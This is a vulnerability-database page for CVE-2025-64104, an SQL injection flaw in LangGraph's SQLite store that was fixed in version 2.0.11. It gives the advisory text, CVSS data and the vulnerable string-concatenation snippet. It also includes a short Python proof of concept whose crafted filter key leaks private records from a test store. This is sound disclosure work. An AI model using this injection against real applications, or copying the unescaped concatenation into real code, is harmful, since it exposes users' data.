cvelistv5 - cve-2025-64104

CVE-2025-64104 (GCVE-0-2025-64104)

Vulnerability from cvelistv5 – Published: 2025-10-29 18:55 – Updated: 2025-10-30 15:33

Summary

LangGraph SQLite Checkpoint is an implementation of LangGraph CheckpointSaver that uses SQLite DB (both sync and async, via aiosqlite). Prior to 2.0.11, LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls. This vulnerability is fixed in 2.0.11.

Severity ?

7.3 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

CWE

CWE-89 - Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/langchain-ai/langgraph/securit…	x_refsource_CONFIRM
	https://github.com/langchain-ai/langgraph/commit/…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	langchain-ai	langgraph	Affected: < 2.0.11

Show details on NVD website

JSON

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GHSA-7P73-8JQX-23R8

Vulnerability from github – Published: 2025-10-29 22:21 – Updated: 2025-10-29 22:21

Summary

LangGraph SQLite Checkpoint Filter Key SQL Injection POC for SqliteStore

Details

Summary

LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.

Details

/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py

The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file.

  filter_conditions.append(
      "json_extract(value, '$."
      + key  # <-- Directly concatenated, no escaping!
      + "') = '"
      + value.replace("'", "''")  # <-- Only value is escaped
      + "'"
  )

Who is affected

This issue affects only developers or projects that directly use the checkpoint-sqlite store.

An application is vulnerable only if it: 1. Instantiates the SqliteStore from the checkpoint-sqlite package, and 2. Builds the filter argument using keys derived from untrusted or user-supplied input (such as query parameters, request bodies, or other external data).

If filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.

Note: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

#!/usr/bin/env python3
"""Minimal SQLite Key Injection POC for LangGraph"""

from langgraph.store.sqlite import SqliteStore

# Create store with test data
with SqliteStore.from_conn_string(":memory:") as store:
    store.setup()

    # Add public and private documents
    store.put(("docs",), "public", {"access": "public", "data": "public info"})
    store.put(("docs",), "private", {"access": "private", "data": "secret", "password": "123"})

    # Normal query - returns 1 public document
    normal = store.search(("docs",), filter={"access": "public"})
    print(f"Normal query: {len(normal)} docs")

    # SQL injection via malicious key
    malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$."
    injected = store.search(("docs",), filter={malicious_key: "dummy"})

    print(f"Injected query: {len(injected)} docs")
    for doc in injected:
        if doc.value.get("access") == "private":
            print(f"LEAKED: {doc.value}")

Severity ?

7.3 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.10"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "langgraph-checkpoint-sqlite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-64104"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-29T22:21:43Z",
    "nvd_published_at": "2025-10-29T19:15:39Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nLangGraph\u0027s SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.\n\n### Details\n[`/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py`](https://github.com/langchain-ai/langgraph/blob/ee5d052a07aadd76dae123a27009ea0a3694fa0a/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py#L407)\n\nThe key portion of the JSON path is concatenated directly into the SQL string without sanitation. There\u0027s a few different occurrences within the file.\n\n```python\n  filter_conditions.append(\n      \"json_extract(value, \u0027$.\"\n      + key  # \u003c-- Directly concatenated, no escaping!\n      + \"\u0027) = \u0027\"\n      + value.replace(\"\u0027\", \"\u0027\u0027\")  # \u003c-- Only value is escaped\n      + \"\u0027\"\n  )\n```\n\n### Who is affected\n\nThis issue affects **only developers or projects that directly use the `checkpoint-sqlite` store**. \n\nAn application is vulnerable only if it:\n1. Instantiates the `SqliteStore` from the `checkpoint-sqlite` package, **and**\n2. Builds the `filter` argument using keys derived from **untrusted or user-supplied input** (such as query parameters, request bodies, or other external data).\n\nIf filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.\n\nNote: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n\n```python\n#!/usr/bin/env python3\n\"\"\"Minimal SQLite Key Injection POC for LangGraph\"\"\"\n\nfrom langgraph.store.sqlite import SqliteStore\n\n# Create store with test data\nwith SqliteStore.from_conn_string(\":memory:\") as store:\n    store.setup()\n    \n    # Add public and private documents\n    store.put((\"docs\",), \"public\", {\"access\": \"public\", \"data\": \"public info\"})\n    store.put((\"docs\",), \"private\", {\"access\": \"private\", \"data\": \"secret\", \"password\": \"123\"})\n    \n    # Normal query - returns 1 public document\n    normal = store.search((\"docs\",), filter={\"access\": \"public\"})\n    print(f\"Normal query: {len(normal)} docs\")\n    \n    # SQL injection via malicious key\n    malicious_key = \"access\u0027) = \u0027public\u0027 OR \u00271\u0027=\u00271\u0027 OR json_extract(value, \u0027$.\"\n    injected = store.search((\"docs\",), filter={malicious_key: \"dummy\"})\n    \n    print(f\"Injected query: {len(injected)} docs\")\n    for doc in injected:\n        if doc.value.get(\"access\") == \"private\":\n            print(f\"LEAKED: {doc.value}\")\n```",
  "id": "GHSA-7p73-8jqx-23r8",
  "modified": "2025-10-29T22:21:43Z",
  "published": "2025-10-29T22:21:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/langchain-ai/langgraph/security/advisories/GHSA-7p73-8jqx-23r8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64104"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langchain-ai/langgraph/commit/bc9d45b476101e441cb1cc602dea03eb29232de4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/langchain-ai/langgraph"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LangGraph SQLite Checkpoint Filter Key SQL Injection POC for SqliteStore"
}

FKIE_CVE-2025-64104

Vulnerability from fkie_nvd - Published: 2025-10-29 19:15 - Updated: 2025-10-30 16:15

Severity ?

7.3 (High) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/langchain-ai/langgraph/commit/bc9d45b476101e441cb1cc602dea03eb29232de4
	security-advisories@github.com	https://github.com/langchain-ai/langgraph/security/advisories/GHSA-7p73-8jqx-23r8
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/langchain-ai/langgraph/security/advisories/GHSA-7p73-8jqx-23r8

Impacted products

	Vendor	Product	Version

JSON

To clipboard

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      "lang": "en",
      "value": "LangGraph SQLite Checkpoint is an implementation of LangGraph CheckpointSaver that uses SQLite DB (both sync and async, via aiosqlite). Prior to 2.0.11, LangGraph\u0027s SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls. This vulnerability is fixed in 2.0.11."
    }
  ],
  "id": "CVE-2025-64104",
  "lastModified": "2025-10-30T16:15:36.777",
  "metrics": {
    "cvssMetricV31": [
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          "attackComplexity": "LOW",
          "attackVector": "LOCAL",
          "availabilityImpact": "NONE",
          "baseScore": 7.3,
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          "privilegesRequired": "LOW",
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          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
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        "impactScore": 4.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
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  "published": "2025-10-29T19:15:39.220",
  "references": [
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      "source": "security-advisories@github.com",
      "url": "https://github.com/langchain-ai/langgraph/commit/bc9d45b476101e441cb1cc602dea03eb29232de4"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/langchain-ai/langgraph/security/advisories/GHSA-7p73-8jqx-23r8"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/langchain-ai/langgraph/security/advisories/GHSA-7p73-8jqx-23r8"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
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        {
          "lang": "en",
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      "source": "security-advisories@github.com",
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    }
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}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2025-64104 (GCVE-0-2025-64104)

GHSA-7P73-8JQX-23R8

Summary

Details

Who is affected

PoC

FKIE_CVE-2025-64104

Tags

Sightings

Nomenclature